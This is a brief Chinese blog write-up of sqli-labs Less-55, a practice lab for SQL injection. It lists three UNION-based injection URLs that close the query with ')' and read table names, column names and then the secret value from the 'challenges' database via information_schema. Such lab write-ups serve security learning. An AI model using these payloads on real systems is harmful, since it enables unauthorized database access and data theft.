Less(55)

1.告诉了测试次数14次, union测试 数据库challenges 

 和Less(54)差不多, ) 闭合

2.爆破

  (1)爆表:?id=0) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+

    

  (2)爆列名:?id=0) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='3udbe83uu3'--+

     

  (3)爆值:?id=0) union select 1,2,group_concat(secret_AWW0) from challenges.3udbe83uu3--+

    

 

 

 

posted @ 2020-03-24 11:03  孟雨  阅读(141)  评论(0编辑  收藏  举报